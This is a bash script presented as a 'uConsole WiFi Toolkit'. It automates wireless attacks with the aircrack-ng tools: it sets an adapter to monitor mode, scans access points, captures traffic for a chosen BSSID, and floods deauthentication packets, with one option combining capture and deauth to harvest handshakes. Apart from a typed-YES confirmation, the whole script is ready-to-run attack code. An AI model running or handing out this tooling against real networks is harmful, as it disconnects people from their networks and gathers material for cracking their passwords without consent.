#!/bin/bash # ============================================================ # USER SETTINGS # Change these to suit your own setup # ============================================================ IFACE="wlan1" # WiFi adapter used for monitor mode CAPTURE_DIR="$HOME/wifi/captures" # Folder to save captures DEFAULT_WAIT_TIME=8 # Seconds before deauth in option 6 DEFAULT_DEAUTH_COUNT=10 # Default number of deauth packets SCRIPT_TITLE="uConsole WiFi Toolkit" # ============================================================ # SCRIPT START # ============================================================ pause() { echo read -p "Press Enter to continue..." } while true; do clear echo "$SCRIPT_TITLE" echo "====================" echo "Current interface: $IFACE" echo "Capture folder: $CAPTURE_DIR" echo echo "1) Set $IFACE to monitor mode using iw" echo "2) Set $IFACE to monitor mode using airmon-ng" echo "3) Scan access points" echo "4) Capture BSSID/channel only" echo "5) Deauth test only" echo "6) Capture and deauth" echo "7) Show wireless interfaces" echo "0) Exit" echo read -p "Choose an option: " choice case "$choice" in 1) sudo ip link set "$IFACE" down sudo iw dev "$IFACE" set type monitor sudo ip link set "$IFACE" up iw dev pause ;; 2) sudo airmon-ng start "$IFACE" pause ;; 3) echo "Scanning on $IFACE. Press Ctrl+C to stop." sleep 2 sudo airodump-ng "$IFACE" pause ;; 4) read -p "Enter BSSID: " BSSID read -p "Enter channel: " CHANNEL mkdir -p "$CAPTURE_DIR" sudo airodump-ng \ -w "$CAPTURE_DIR/capture" \ -c "$CHANNEL" \ --bssid "$BSSID" \ "$IFACE" pause ;; 5) read -p "Enter BSSID: " BSSID read -p "How many deauth packets? Default $DEFAULT_DEAUTH_COUNT: " DEAUTH_COUNT DEAUTH_COUNT=${DEAUTH_COUNT:-$DEFAULT_DEAUTH_COUNT} echo echo "Only continue if this is your own network or an authorised test." read -p "Type YES to continue: " confirm if [ "$confirm" = "YES" ]; then sudo aireplay-ng --deauth "$DEAUTH_COUNT" -a "$BSSID" "$IFACE" else echo "Cancelled." fi pause ;; 6) read -p "Enter BSSID: " BSSID read -p "Enter channel: " CHANNEL read -p "Seconds before deauth? Default $DEFAULT_WAIT_TIME: " WAIT_TIME read -p "How many deauth packets? Default $DEFAULT_DEAUTH_COUNT: " DEAUTH_COUNT WAIT_TIME=${WAIT_TIME:-$DEFAULT_WAIT_TIME} DEAUTH_COUNT=${DEAUTH_COUNT:-$DEFAULT_DEAUTH_COUNT} echo echo "Only continue if this is your own network or an authorised test." read -p "Type YES to continue: " confirm if [ "$confirm" != "YES" ]; then echo "Cancelled." pause continue fi mkdir -p "$CAPTURE_DIR" echo echo "[+] Starting capture on $IFACE..." echo "[+] Press Ctrl+C to stop capture when done." echo sudo airodump-ng \ -w "$CAPTURE_DIR/capture" \ -c "$CHANNEL" \ --bssid "$BSSID" \ "$IFACE" & AIRO_PID=$! sleep "$WAIT_TIME" echo echo "[+] Sending deauth packets..." sudo aireplay-ng --deauth "$DEAUTH_COUNT" -a "$BSSID" "$IFACE" echo echo "[+] Capture is still running." echo "[+] Press Ctrl+C to stop it." wait "$AIRO_PID" pause ;; 7) iw dev pause ;; 0) exit 0 ;; *) echo "Invalid option." sleep 1 ;; esac done